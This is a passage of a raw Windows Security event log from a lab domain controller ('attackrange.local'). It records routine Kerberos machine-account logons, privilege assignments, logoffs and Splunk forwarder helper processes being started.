{250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51269 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256160 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BEE38 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256159 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BED68 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51268 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256158 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BED68 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256157 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BED1F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256156 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BED1F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256155 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3BEC11 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51267 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256154 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BEC11 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:02:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256153 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256167 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256166 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256168 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256169 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:02:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256170 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3BEE38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256173 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C188B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:02:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256172 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3C188B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51280 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:02:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256171 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3C188B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:03:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256176 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256178 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256177 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256179 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:03:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256180 -Keywords=Audit Success -Message=A 